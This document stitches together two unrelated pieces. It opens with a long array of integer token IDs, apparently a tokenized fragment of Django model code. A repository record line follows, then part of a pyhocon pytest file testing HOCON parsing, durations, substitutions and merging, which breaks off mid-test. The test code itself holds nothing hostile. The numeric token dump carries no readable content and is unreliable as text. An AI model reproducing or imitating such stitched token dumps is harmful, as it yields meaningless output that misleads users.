13,
1678,
17148,
654,
29918,
6897,
296,
29918,
3317,
353,
4733,
29889,
11031,
3073,
29898,
4381,
29922,
29900,
29889,
29900,
29897,
13,
1678,
17148,
654,
29918,
1454,
29918,
3317,
29918,
990,
353,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29945,
29900,
29900,
29897,
13,
1678,
17148,
654,
29918,
351,
475,
303,
29918,
3317,
29918,
990,
353,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29945,
29900,
29900,
29897,
13,
1678,
17148,
654,
29918,
370,
303,
475,
29918,
3317,
29918,
990,
353,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29945,
29900,
29900,
29897,
13,
1678,
17148,
654,
29918,
6897,
296,
29918,
3317,
29918,
990,
353,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29945,
29900,
29900,
29897,
13,
1678,
19626,
29918,
1454,
353,
4733,
29889,
11031,
3073,
29898,
4381,
29922,
29900,
29889,
29900,
29897,
13,
1678,
19626,
29918,
351,
475,
303,
353,
4733,
29889,
11031,
3073,
29898,
4381,
29922,
29900,
29889,
29900,
29897,
13,
1678,
19626,
29918,
370,
303,
475,
353,
4733,
29889,
11031,
3073,
29898,
4381,
29922,
29900,
29889,
29900,
29897,
13,
1678,
19626,
29918,
6897,
296,
353,
4733,
29889,
11031,
3073,
29898,
4381,
29922,
29900,
29889,
29900,
29897,
13,
1678,
19626,
29918,
1454,
29918,
3317,
353,
9794,
29889,
11031,
3073,
29898,
4381,
29922,
29900,
29889,
29900,
29897,
13,
1678,
19626,
29918,
351,
475,
303,
29918,
3317,
353,
4733,
29889,
11031,
3073,
29898,
4381,
29922,
29900,
29889,
29900,
29897,
13,
1678,
19626,
29918,
370,
303,
475,
29918,
3317,
353,
4733,
29889,
11031,
3073,
29898,
4381,
29922,
29900,
29889,
29900,
29897,
13,
1678,
19626,
29918,
6897,
296,
29918,
3317,
353,
4733,
29889,
11031,
3073,
29898,
4381,
29922,
29900,
29889,
29900,
29897,
13,
1678,
19626,
29918,
1454,
29918,
3317,
29918,
990,
353,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29945,
29900,
29900,
29897,
13,
1678,
19626,
29918,
351,
475,
303,
29918,
3317,
29918,
990,
353,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29945,
29900,
29900,
29897,
13,
1678,
19626,
29918,
370,
303,
475,
29918,
3317,
29918,
990,
353,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29945,
29900,
29900,
29897,
13,
1678,
19626,
29918,
6897,
296,
29918,
3317,
29918,
990,
353,
4733,
29889,
27890,
29898,
3317,
29918,
2848,
29922,
29945,
29900,
29900,
29897,
13,
13,
13,
1990,
24176,
29933,
397,
583,
29898,
27939,
519,
29892,
4733,
29889,
3195,
1125,
13,
1678,
2825,
29918,
1454,
353,
4733,
29889,
2539,
3073,
7373,
877,
1256,
310,
6354,
5477,
13,
462,
462,
259,
9654,
29922,
5574,
29892,
13,
462,
462,
259,
1870,
29922,
5574,
29892,
13,
462,
462,
259,
1371,
29918,
726,
29922,
29918,
877,
1256,
310,
3483,
675,
8785,
13,
13,
1678,
13013,
353,
4733,
29889,
27755,
2558,
703,
27356,
2133,
1159,
13,
13,
1678,
6673,
353,
4733,
29889,
27755,
2558,
877,
862,
433,
1066,
6468,
455,
29889,
7435,
742,
13,
462,
462,
29871,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
462,
29871,
1371,
29918,
726,
29922,
29918,
877,
13504,
1693,
8785,
13,
13,
1678,
11289,
29918,
4569,
1693,
353,
4663,
3073,
580,
13,
13,
1678,
5144,
353,
4663,
3073,
580,
13,
13,
1678,
11289,
13404,
353,
4663,
3073,
580,
13,
13,
1678,
17148,
29918,
3605,
601,
353,
4733,
29889,
11031,
3073,
580,
13,
13,
1678,
4575,
29877,
29918,
3605,
601,
353,
4733,
29889,
11031,
3073,
580,
13,
13,
1678,
22091,
353,
4663,
3073,
580,
13,
13,
1678,
21396,
353,
4663,
3073,
580,
13,
13,
13,
1990,
478,
542,
370,
352,
653,
3505,
29898,
27939,
519,
29892,
4733,
29889,
3195,
1125,
396,
13200,
363,
478,
562,
370,
352,
442,
29891,
2159,
310,
1394,
29887,
13,
1678,
13013,
353,
4733,
29889,
27755,
2558,
877,
27356,
2133,
742,
13,
462,
462,
268,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
462,
268,
4475,
29918,
978,
2433,
29894,
542,
370,
352,
653,
29903,
7093,
742,
13,
462,
462,
268,
1371,
29918,
726,
29922,
29918,
877,
2816,
29887,
8785,
13,
13,
1678,
2825,
29918,
1454,
353,
4733,
29889,
2539,
3073,
7373,
877,
1256,
310,
6354,
5477,
13,
462,
462,
259,
9654,
29922,
5574,
29892,
13,
462,
462,
259,
1870,
29922,
5574,
29892,
13,
462,
462,
259,
1371,
29918,
726,
29922,
29918,
877,
1256,
310,
3483,
675,
8785,
13,
13,
1678,
8158,
353,
4733,
29889,
11031,
3073,
7373,
877,
29963,
562,
370,
352,
442,
29891,
2159,
310,
445,
1394,
29887,
5477,
13,
462,
462,
259,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
462,
259,
1371,
29918,
726,
29922,
29918,
877,
29963,
562,
370,
352,
442,
29891,
2159,
310,
445,
1394,
29887,
8785,
13,
13,
1678,
4236,
2816,
29887,
353,
4733,
29889,
27755,
2558,
877,
27356,
2133,
742,
13,
462,
1669,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
1669,
4475,
29918,
978,
2433,
11991,
29963,
562,
29903,
466,
742,
13,
462,
1669,
1371,
29918,
726,
29922,
29918,
877,
27356,
2133,
607,
756,
4236,
11757,
370,
352,
442,
29891,
2159,
8785,
13,
13,
1678,
6588,
353,
4733,
29889,
11031,
3073,
7373,
877,
12483,
482,
5477,
13,
462,
462,
259,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
462,
259,
1371,
29918,
726,
29922,
29918,
877,
29963,
562,
370,
352,
442,
29891,
2159,
310,
1394,
29887,
8785,
13,
13,
1678,
7472,
353,
4733,
29889,
11031,
3073,
7373,
877,
3317,
5477,
13,
462,
462,
259,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
462,
259,
1371,
29918,
726,
29922,
29918,
877,
7976,
310,
1394,
29887,
11757,
370,
352,
442,
29891,
2159,
525,
876,
13,
13,
13,
1990,
22135,
4421,
2361,
29898,
27939,
519,
29892,
4733,
29889,
3195,
1125,
396,
13200,
363,
22135,
2522,
2361,
310,
16379,
13,
1678,
13013,
353,
4733,
29889,
27755,
2558,
877,
27356,
2133,
742,
13,
462,
462,
268,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
462,
268,
4475,
29918,
978,
2433,
3293,
4421,
2361,
742,
13,
462,
462,
268,
1371,
29918,
726,
29922,
29918,
877,
2816,
29887,
8785,
13,
1678,
2825,
29918,
1454,
353,
4733,
29889,
2539,
3073,
7373,
877,
1256,
310,
6354,
5477,
13,
462,
462,
259,
9654,
29922,
5574,
29892,
13,
462,
462,
259,
1870,
29922,
5574,
29892,
13,
462,
462,
259,
1371,
29918,
726,
29922,
29918,
877,
1256,
310,
3483,
675,
8785,
13,
1678,
1108,
2454,
1217,
353,
4733,
29889,
11031,
3073,
7373,
877,
26604,
2454,
1217,
3114,
8158,
310,
445,
349,
29954,
5477,
13,
462,
462,
259,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
462,
259,
1371,
29918,
726,
29922,
29918,
877,
26604,
2454,
1217,
8158,
310,
445,
349,
29954,
8785,
13,
1678,
5999,
8849,
647,
4142,
29877,
353,
4733,
29889,
11031,
3073,
7373,
877,
29925,
1150,
8849,
647,
4142,
29877,
3114,
8158,
310,
445,
349,
29954,
5477,
13,
462,
462,
259,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
462,
259,
1371,
29918,
726,
29922,
29918,
877,
29925,
1150,
8849,
647,
4142,
29877,
3114,
8158,
310,
445,
349,
29954,
8785,
13,
1678,
758,
771,
7864,
353,
4733,
29889,
11031,
3073,
7373,
877,
6572,
771,
7864,
3114,
8158,
310,
445,
349,
29954,
5477,
13,
462,
462,
259,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
462,
259,
1371,
29918,
726,
29922,
29918,
877,
6572,
771,
7864,
3114,
8158,
310,
445,
349,
29954,
8785,
13,
1678,
1108,
2454,
1217,
29918,
12483,
482,
353,
4733,
29889,
11031,
3073,
7373,
877,
26604,
2454,
1217,
6588,
3114,
8158,
5477,
13,
462,
462,
259,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
462,
259,
1371,
29918,
726,
29922,
29918,
877,
26604,
2454,
1217,
6588,
3114,
8158,
8785,
13,
1678,
5999,
8849,
647,
4142,
29877,
29918,
12483,
482,
353,
4733,
29889,
11031,
3073,
7373,
877,
29925,
1150,
8849,
647,
4142,
29877,
6588,
3114,
8158,
5477,
13,
462,
462,
259,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
462,
259,
1371,
29918,
726,
29922,
29918,
877,
29925,
1150,
8849,
647,
4142,
29877,
6588,
3114,
8158,
8785,
13,
1678,
758,
771,
7864,
29918,
12483,
482,
353,
4733,
29889,
11031,
3073,
7373,
877,
6572,
771,
7864,
6588,
3114,
8158,
5477,
13,
462,
462,
259,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
462,
259,
1371,
29918,
726,
29922,
29918,
877,
6572,
771,
7864,
6588,
3114,
8158,
8785,
13,
13,
13,
1990,
323,
29888,
333,
29888,
29898,
27939,
519,
29892,
4733,
29889,
3195,
1125,
13,
1678,
13013,
353,
4733,
29889,
27755,
2558,
877,
27356,
2133,
742,
13,
462,
462,
268,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
462,
268,
4475,
29918,
978,
2433,
13264,
333,
29888,
742,
13,
462,
462,
268,
1371,
29918,
726,
29922,
29918,
877,
2816,
29887,
8785,
13,
13,
1678,
2825,
29918,
1454,
353,
4733,
29889,
2539,
3073,
7373,
877,
1256,
310,
6354,
5477,
13,
462,
462,
259,
9654,
29922,
5574,
29892,
13,
462,
462,
259,
1870,
29922,
5574,
29892,
13,
462,
462,
259,
1371,
29918,
726,
29922,
29918,
877,
1256,
310,
3483,
675,
8785,
13,
13,
1678,
338,
29918,
12872,
353,
4733,
29889,
18146,
3073,
7373,
877,
275,
7962,
5477,
13,
462,
462,
268,
2322,
29922,
5574,
29897,
13,
13,
1678,
848,
353,
4663,
3073,
29898,
19465,
29922,
5574,
29892,
1870,
29922,
5574,
29897,
13,
13,
1678,
822,
4770,
710,
12035,
1311,
1125,
13,
4706,
736,
29104,
29898,
1311,
29889,
6388,
2133,
29889,
978,
29897,
718,
376,
6660,
376,
718,
29104,
29898,
1311,
29889,
11600,
29918,
1454,
29897,
13,
13,
13,
1990,
9681,
2776,
2182,
2297,
29898,
27939,
519,
29892,
4733,
29889,
3195,
1125,
13,
1678,
13013,
353,
4733,
29889,
27755,
2558,
877,
27356,
2133,
742,
13,
462,
462,
268,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
462,
268,
4475,
29918,
978,
2433,
1949,
2776,
2182,
2297,
742,
13,
462,
462,
268,
1371,
29918,
726,
29922,
29918,
877,
2816,
29887,
8785,
13,
13,
1678,
2825,
29918,
1454,
353,
4733,
29889,
2539,
3073,
7373,
877,
1256,
310,
6354,
5477,
13,
462,
462,
259,
9654,
29922,
5574,
29892,
13,
462,
462,
259,
1870,
29922,
5574,
29892,
13,
462,
462,
259,
1371,
29918,
726,
29922,
29918,
877,
1256,
310,
3483,
675,
8785,
13,
13,
1678,
8158,
353,
4733,
29889,
11031,
3073,
29898,
19465,
29922,
5574,
29892,
13,
462,
795,
1870,
29922,
5574,
29892,
13,
462,
795,
1371,
29918,
726,
29922,
29918,
877,
3580,
8158,
8785,
13,
13,
1678,
6588,
353,
4733,
29889,
11031,
3073,
29898,
19465,
29922,
5574,
29892,
13,
462,
18884,
1870,
29922,
5574,
29892,
13,
462,
18884,
1371,
29918,
726,
29922,
29918,
877,
29909,
19698,
8158,
8785,
13,
13,
1678,
7472,
353,
4733,
29889,
11031,
3073,
29898,
19465,
29922,
5574,
29892,
13,
462,
18884,
1870,
29922,
5574,
29892,
13,
462,
18884,
1371,
29918,
726,
29922,
29918,
877,
7976,
12539,
8158,
8785,
13,
13,
1678,
4236,
2816,
3174,
353,
4663,
3073,
29898,
19465,
29922,
5574,
29892,
1870,
29922,
5574,
29897,
13,
13,
13,
1990,
4360,
663,
29911,
1092,
820,
2481,
29898,
27939,
519,
29892,
4733,
29889,
3195,
1125,
13,
1678,
13013,
353,
4733,
29889,
27755,
2558,
877,
27356,
2133,
742,
13,
462,
462,
268,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
462,
268,
4475,
29918,
978,
2433,
4569,
663,
29911,
1092,
820,
2481,
742,
13,
462,
462,
268,
1371,
29918,
726,
29922,
29918,
877,
2816,
29887,
8785,
13,
1678,
2825,
29918,
1454,
353,
4733,
29889,
2539,
3073,
7373,
877,
1256,
310,
6354,
5477,
13,
462,
462,
259,
9654,
29922,
5574,
29892,
13,
462,
462,
259,
1870,
29922,
5574,
29892,
13,
462,
462,
259,
1371,
29918,
726,
29922,
29918,
877,
1256,
310,
3483,
675,
8785,
13,
1678,
848,
353,
4663,
3073,
29898,
19465,
29922,
5574,
29892,
1870,
29922,
5574,
29897,
13,
13,
13,
1990,
512,
3018,
4205,
13094,
29898,
27939,
519,
29892,
4733,
29889,
3195,
1125,
13,
1678,
13013,
353,
4733,
29889,
27755,
2558,
877,
27356,
2133,
742,
13,
462,
462,
268,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
462,
268,
4475,
29918,
978,
2433,
524,
336,
4205,
13094,
742,
13,
462,
462,
268,
1371,
29918,
726,
29922,
29918,
877,
2816,
29887,
8785,
13,
13,
1678,
11719,
353,
4733,
29889,
27755,
2558,
877,
862,
29880,
559,
1324,
29889,
29963,
866,
742,
13,
462,
632,
9654,
29922,
5574,
29892,
1870,
29922,
5574,
29892,
13,
462,
632,
4475,
29918,
978,
2433,
15814,
29918,
262,
29576,
275,
13094,
742,
13,
462,
632,
1371,
29918,
726,
29922,
29918,
877,
29963,
866,
8785,
13,
13,
1678,
7472,
353,
4733,
29889,
27890,
7373,
877,
7976,
12539,
5477,
13,
462,
1669,
9654,
353,
5852,
29892,
13,
462,
1669,
1870,
353,
5852,
29892,
13,
462,
1669,
4236,
29918,
2848,
353,
29871,
29896,
29906,
29947,
29892,
13,
462,
1669,
1371,
29918,
726,
29922,
29918,
877,
7976,
12539,
310,
13013,
766,
13094,
6169,
876,
2
] |
tests/test_config_parser.py | KevinMFong/pyhocon | 424 | 3457 | # -*- encoding: utf-8 -*-
import json
import os
import shutil
import tempfile
from collections import OrderedDict
from datetime import timedelta
from pyparsing import ParseBaseException, ParseException, ParseSyntaxException
import mock
import pytest
from pyhocon import (ConfigFactory, ConfigParser, ConfigSubstitutionException, ConfigTree)
from pyhocon.exceptions import (ConfigException, ConfigMissingException,
ConfigWrongTypeException)
try:
from dateutil.relativedelta import relativedelta as period
except Exception:
from datetime import timedelta as period
class TestConfigParser(object):
def test_parse_simple_value(self):
config = ConfigFactory.parse_string(
"""t = {
c = 5
"d" = true
e.y = {
f: 7
g: "hey dude!"
h: hey man
i = \"\"\"
"first line"
"second" line
\"\"\"
}
j = [1, 2, 3]
u = 192.168.1.3/32
g = null
}
"""
)
assert config.get_string('t.c') == '5'
assert config.get_int('t.c') == 5
assert config.get_float('t.c') == 5.0
assert config.get('t.e.y.f') == 7
assert config.get('t.e.y.g') == 'hey dude!'
assert config.get('t.e.y.h') == 'hey man'
assert [v.strip() for v in config.get('t.e.y.i').split('\n')] == ['', '"first line"', '"second" line', '']
assert config.get_bool('t.d') is True
assert config.get_int('t.e.y.f') == 7
assert config.get('t.j') == [1, 2, 3]
assert config.get('t.u') == '192.168.1.3/32'
assert config.get_int('t.g') is None
assert config.get_float('t.g') is None
assert config.get_string('t.g') is None
assert config.get_bool('t.g') is None
assert config.get_list('t.g') is None
assert config.get_config('t.g') is None
@pytest.mark.parametrize('forbidden_char', ['+', '`', '^', '?', '!', '@', '*', '&'])
def test_fail_parse_forbidden_characters(self, forbidden_char):
with pytest.raises(ParseBaseException):
ConfigFactory.parse_string('a: hey man{}'.format(forbidden_char))
@pytest.mark.parametrize('forbidden_char', ['$', '"'])
def test_fail_parse_forbidden_characters_in_context(self, forbidden_char):
with pytest.raises(ParseException):
ConfigFactory.parse_string('a: hey man{}'.format(forbidden_char))
@pytest.mark.parametrize('forbidden_char', ['+', '`', '^', '?', '!', '@', '*', '&'])
def test_parse_forbidden_characters_quoted(self, forbidden_char):
value = "hey man{}".format(forbidden_char)
config = ConfigFactory.parse_string('a: "{}"'.format(value))
assert config.get_string("a") == value
def test_parse_with_enclosing_brace(self):
config = ConfigFactory.parse_string(
"""
{
a: {
b: 5
}
}
"""
)
assert config.get_string('a.b') == '5'
@pytest.mark.parametrize('data_set', [
('a: 1 minutes', period(minutes=1)),
('a: 1minutes', period(minutes=1)),
('a: 2 minute', period(minutes=2)),
('a: 3 m', period(minutes=3)),
('a: 3m', period(minutes=3)),
('a: 3 min', '3 min'),
('a: 4 seconds', period(seconds=4)),
('a: 5 second', period(seconds=5)),
('a: 6 s', period(seconds=6)),
('a: 6 sec', '6 sec'),
('a: 7 hours', period(hours=7)),
('a: 8 hour', period(hours=8)),
('a: 9 h', period(hours=9)),
('a: 10 weeks', period(weeks=10)),
('a: 11 week', period(weeks=11)),
('a: 12 w', period(weeks=12)),
('a: 10 days', period(days=10)),
('a: 11 day', period(days=11)),
('a: 12 d', period(days=12)),
('a: 110 microseconds', period(microseconds=110)),
('a: 111 microsecond', period(microseconds=111)),
('a: 112 micros', period(microseconds=112)),
('a: 113 micro', period(microseconds=113)),
('a: 114 us', period(microseconds=114)),
('a: 110 milliseconds', timedelta(milliseconds=110)),
('a: 111 millisecond', timedelta(milliseconds=111)),
('a: 112 millis', timedelta(milliseconds=112)),
('a: 113 milli', timedelta(milliseconds=113)),
('a: 114 ms', timedelta(milliseconds=114)),
('a: 110 nanoseconds', period(microseconds=0)),
('a: 11000 nanoseconds', period(microseconds=11)),
('a: 1110000 nanosecond', period(microseconds=1110)),
('a: 1120000 nanos', period(microseconds=1120)),
('a: 1130000 nano', period(microseconds=1130)),
('a: 1140000 ns', period(microseconds=1140)),
])
def test_parse_string_with_duration(self, data_set):
config = ConfigFactory.parse_string(data_set[0])
assert config['a'] == data_set[1]
def test_parse_string_with_duration_with_long_unit_name(self):
config = ConfigFactory.parse_string(
"""
a: foo
b: 10 weeks
c: bar
"""
)
assert config['b'] == period(weeks=10)
def test_parse_with_list_mixed_types_with_durations_and_trailing_comma(self):
config = ConfigFactory.parse_string(
"""
a: foo
b: [a, 1, 10 weeks, 5 minutes,]
c: bar
"""
)
assert config['b'] == ['a', 1, period(weeks=10), period(minutes=5)]
def test_parse_with_enclosing_square_bracket(self):
config = ConfigFactory.parse_string("[1, 2, 3]")
assert config == [1, 2, 3]
def test_quoted_key_with_dots(self):
config = ConfigFactory.parse_string(
"""
"a.b.c.d": 3
t {
"d": {
"c": 5
}
}
k {
"b.f.d": 7
}
"""
)
assert config['"a.b.c.d"'] == 3
assert config['t.d.c'] == 5
assert config['k."b.f.d"'] == 7
def test_dotted_notation_merge(self):
config = ConfigFactory.parse_string(
"""
a {
b = foo
c = bar
}
a.c = ${a.b}" "${a.b}
a.d = baz
"""
)
assert config['a.b'] == "foo"
assert config['a.c'] == "foo foo"
assert config['a.d'] == "baz"
def test_comma_to_separate_expr(self):
config = ConfigFactory.parse_string(
"""
a=1,
b="abc",
c=the man,
d=woof,
a-b-c-d=test,
a b c d=test2,
"a b c d e"=test3
"""
)
assert config.get('a') == 1
assert config.get('b') == 'abc'
assert config.get('c') == 'the man'
assert config.get('d') == 'woof'
assert config.get('a-b-c-d') == 'test'
assert config.get('a b c d') == 'test2'
assert config.get('a b c d e') == 'test3'
def test_dict_merge(self):
config = ConfigFactory.parse_string(
"""
a {
d {
g.h.j.u: 5
g {
h.d: 4
}
g.h.k: f d
}
h.i.m = 7
h.i {
d: 5
}
h.i {
e:65
}
}
""")
expected_result = {
"a": {
"d": {
"g": {
"h": {
"j": {
"u": 5
},
"d": 4,
"k": "f d"
}
}
},
"h": {
"i": {
"m": 7,
"d": 5,
"e": 65
}
}
}
}
assert expected_result == config
def test_parse_with_comments(self):
config = ConfigFactory.parse_string(
"""
// comment 1
# comment 2
{
c = test // comment 0
g = 6 test # comment 0
# comment 3
a: { # comment 4
b: test, # comment 5
} # comment 6
t = [1, # comment 7
2, # comment 8
3, # comment 9
]
} # comment 10
// comment 11
// comment 12
"""
)
assert config.get('c') == 'test'
assert config.get('g') == '6 test'
assert config.get('a.b') == 'test'
assert config.get_string('a.b') == 'test'
assert config.get('t') == [1, 2, 3]
def test_missing_config(self):
config = ConfigFactory.parse_string(
"""
a = 5
"""
)
# b is not set so show raise an exception
with pytest.raises(ConfigMissingException):
config.get('b')
def test_parse_null(self):
config = ConfigFactory.parse_string(
"""
a = null
b = [null]
"""
)
assert config.get('a') is None
assert config.get('b')[0] is None
def test_parse_override(self):
config = ConfigFactory.parse_string(
"""
{
a: {
b: {
c = 5
}
}
a.b {
c = 7
d = 8
}
}
"""
)
assert config.get('a.b.c') == 7
assert config.get('a.b.d') == 8
def test_concat_dict(self):
config = ConfigFactory.parse_string(
"""
a: {b: 1}
a: {c: 2}
b: {c: 3} {d: 4} {
c: 5
}
"""
)
assert config.get('a.b') == 1
assert config.get('a.c') == 2
assert config.get('b.c') == 5
assert config.get('b.d') == 4
def test_concat_string(self):
config = ConfigFactory.parse_string(
"""
a = a b c
b = 5 b
c = b 7
"""
)
assert config.get('a') == 'a b c'
assert config.get('b') == '5 b'
assert config.get('c') == 'b 7'
def test_concat_list(self):
config = ConfigFactory.parse_string(
"""
a = [1, 2] [3, 4] [
5,
6
]
"""
)
assert config.get('a') == [1, 2, 3, 4, 5, 6]
assert config.get_list('a') == [1, 2, 3, 4, 5, 6]
def test_bad_concat(self):
ConfigFactory.parse_string('a = 45\n')
with pytest.raises(ConfigWrongTypeException):
ConfigFactory.parse_string('a = [4] "4"')
with pytest.raises(ConfigWrongTypeException):
ConfigFactory.parse_string('a = "4" [5]')
with pytest.raises(ConfigWrongTypeException):
ConfigFactory.parse_string('a = {b: 5} "4"')
def test_string_substitutions(self):
config1 = ConfigFactory.parse_string(
"""
{
a: {
b: {
c = str
e = "str "
}
}
d = ${a.b.c}
f = ${a.b.e}
}
"""
)
assert config1.get('a.b.c') == 'str'
assert config1.get('d') == 'str'
assert config1.get('f') == 'str '
config2 = ConfigFactory.parse_string(
"""
{
a: {
b: {
c = str
e = "str "
}
}
d = test ${a.b.c}
f = test ${a.b.e}
}
"""
)
assert config2.get('a.b.c') == 'str'
assert config2.get('d') == 'test str'
assert config2.get('f') == 'test str '
config3 = ConfigFactory.parse_string(
u"""
{
a: {
b: {
c = str
e = "str "
}
}
d = test ${a.b.c} me
f = test ${a.b.e} me
}
"""
)
assert config3.get('a.b.c') == 'str'
assert config3.get('d') == 'test str me'
assert config3.get('f') == 'test str me'
def test_string_substitutions_with_no_space(self):
config = ConfigFactory.parse_string(
"""
app.heap_size = 128
app.java_opts = [
-Xms${app.heap_size}m
-Xmx${app.heap_size}m
]
"""
)
assert config.get('app.java_opts') == [
'-Xms128m',
'-Xmx128m'
]
def test_int_substitutions(self):
config1 = ConfigFactory.parse_string(
"""
{
a: {
b: {
c = 5
}
}
d = ${a.b.c}
}
"""
)
assert config1.get('a.b.c') == 5
assert config1.get('d') == 5
config2 = ConfigFactory.parse_string(
"""
{
a: {
b: {
c = 5
}
}
d = test ${a.b.c}
}
"""
)
assert config2.get('a.b.c') == 5
assert config2.get('d') == 'test 5'
config3 = ConfigFactory.parse_string(
"""
{
a: {
b: {
c = 5
}
}
d = test ${a.b.c} me
}
"""
)
assert config3.get('a.b.c') == 5
assert config3.get('d') == 'test 5 me'
def test_cascade_string_substitutions(self):
config = ConfigFactory.parse_string(
"""
{
a: {
b: {
c = ${e}
}
}
d = test ${a.b.c} me
e = 7
}
"""
)
assert config.get('a.b.c') == 7
assert config.get('d') == 'test 7 me'
def test_multiple_substitutions(self):
config = ConfigFactory.parse_string(
"""
a = 5
b=${a}${a}
c=${a} ${a}
"""
)
assert config == {
'a': 5,
'b': '55',
'c': '5 5'
}
def test_dict_substitutions(self):
config = ConfigFactory.parse_string(
"""
data-center-generic = { cluster-size = 6 }
data-center-east = ${data-center-generic} {name = "east"}
"""
)
assert config.get('data-center-east.cluster-size') == 6
assert config.get('data-center-east.name') == 'east'
config2 = ConfigFactory.parse_string(
"""
data-center-generic = { cluster-size = 6 }
data-center-east = {name = "east"} ${data-center-generic}
"""
)
assert config2.get('data-center-east.cluster-size') == 6
assert config2.get('data-center-east.name') == 'east'
config3 = ConfigFactory.parse_string(
"""
data-center-generic = { cluster-size = 6 }
data-center-east = {name = "east"} ${data-center-generic} { cluster-size = 9, opts = "-Xmx4g" }
"""
)
assert config3.get('data-center-east.cluster-size') == 9
assert config3.get('data-center-east.name') == 'east'
assert config3.get('data-center-east.opts') == '-Xmx4g'
config4 = ConfigFactory.parse_string(
"""
data-center-generic = { cluster-size = 6 }
data-center-east = {name = "east"} ${data-center-generic}
data-center-east-prod = ${data-center-east} {tmpDir=/tmp}
"""
)
assert config4.get('data-center-east.cluster-size') == 6
assert config4.get('data-center-east.name') == 'east'
assert config4.get('data-center-east-prod.cluster-size') == 6
assert config4.get('data-center-east-prod.tmpDir') == '/tmp'
config5 = ConfigFactory.parse_string(
"""
data-center-generic = { cluster-size = 6 }
data-center-east = ${data-center-generic}
data-center-east = { name = "east" }
"""
)
assert config5['data-center-east'] == {
'name': 'east',
'cluster-size': 6
}
config6 = ConfigFactory.parse_string(
"""
data-center-generic = { cluster-size = 6 }
data-center-east = { name = "east" }
data-center-east = ${data-center-generic}
"""
)
assert config6['data-center-east'] == {
'name': 'east',
'cluster-size': 6
}
def test_dos_chars_with_unquoted_string_noeol(self):
config = ConfigFactory.parse_string("foo = bar")
assert config['foo'] == 'bar'
def test_dos_chars_with_quoted_string_noeol(self):
config = ConfigFactory.parse_string('foo = "5"')
assert config['foo'] == '5'
def test_dos_chars_with_triple_quoted_string_noeol(self):
config = ConfigFactory.parse_string('foo = """5"""')
assert config['foo'] == '5'
def test_dos_chars_with_int_noeol(self):
config = ConfigFactory.parse_string("foo = 5")
assert config['foo'] == 5
def test_dos_chars_with_float_noeol(self):
config = ConfigFactory.parse_string("foo = 5.0")
assert config['foo'] == 5.0
def test_list_substitutions(self):
config = ConfigFactory.parse_string(
"""
common_modules = [php, python]
host_modules = ${common_modules} [java]
"""
)
assert config.get('host_modules') == ['php', 'python', 'java']
config2 = ConfigFactory.parse_string(
"""
common_modules = [php, python]
host_modules = [java] ${common_modules}
"""
)
assert config2.get('host_modules') == ['java', 'php', 'python']
config3 = ConfigFactory.parse_string(
"""
common_modules = [php, python]
host_modules = [java] ${common_modules} [perl]
"""
)
assert config3.get('common_modules') == ['php', 'python']
assert config3.get('host_modules') == ['java', 'php', 'python', 'perl']
config4 = ConfigFactory.parse_string(
"""
common_modules = [php, python]
host_modules = [java] ${common_modules} [perl]
full_modules = ${host_modules} [c, go]
"""
)
assert config4.get('common_modules') == ['php', 'python']
assert config4.get('host_modules') == ['java', 'php', 'python', 'perl']
assert config4.get('full_modules') == ['java', 'php', 'python', 'perl', 'c', 'go']
def test_list_element_substitution(self):
config = ConfigFactory.parse_string(
"""
main_language = php
languages = [java, ${main_language}]
"""
)
assert config.get('languages') == ['java', 'php']
def test_substitution_list_with_append(self):
config = ConfigFactory.parse_string(
"""
application.foo = 128mm
application.large-jvm-opts = ["-XX:+UseParNewGC"] [-Xm16g, ${application.foo}]
application.large-jvm-opts2 = [-Xm16g, ${application.foo}] ["-XX:+UseParNewGC"]
""")
assert config["application.large-jvm-opts"] == [
'-XX:+UseParNewGC',
'-Xm16g',
'128mm'
]
assert config["application.large-jvm-opts2"] == [
'-Xm16g',
'128mm',
'-XX:+UseParNewGC',
]
def test_substitution_list_with_append_substitution(self):
config = ConfigFactory.parse_string(
"""
application.foo = 128mm
application.default-jvm-opts = ["-XX:+UseParNewGC"]
application.large-jvm-opts = ${application.default-jvm-opts} [-Xm16g, ${application.foo}]
application.large-jvm-opts2 = [-Xm16g, ${application.foo}] ${application.default-jvm-opts}
""")
assert config["application.large-jvm-opts"] == [
'-XX:+UseParNewGC',
'-Xm16g',
'128mm'
]
assert config["application.large-jvm-opts2"] == [
'-Xm16g',
'128mm',
'-XX:+UseParNewGC'
]
def test_non_existent_substitution(self):
with pytest.raises(ConfigSubstitutionException):
ConfigFactory.parse_string(
"""
common_modules = ${non_existent}
"""
)
with pytest.raises(ConfigSubstitutionException):
ConfigFactory.parse_string(
"""
common_modules = abc ${non_existent}
"""
)
with pytest.raises(ConfigSubstitutionException):
ConfigFactory.parse_string(
"""
common_modules = ${non_existent} abc
"""
)
with pytest.raises(ConfigSubstitutionException):
ConfigFactory.parse_string(
"""
common_modules = abc ${non_existent} def
"""
)
def test_non_compatible_substitution(self):
with pytest.raises(ConfigWrongTypeException):
ConfigFactory.parse_string(
"""
common_modules = [perl]
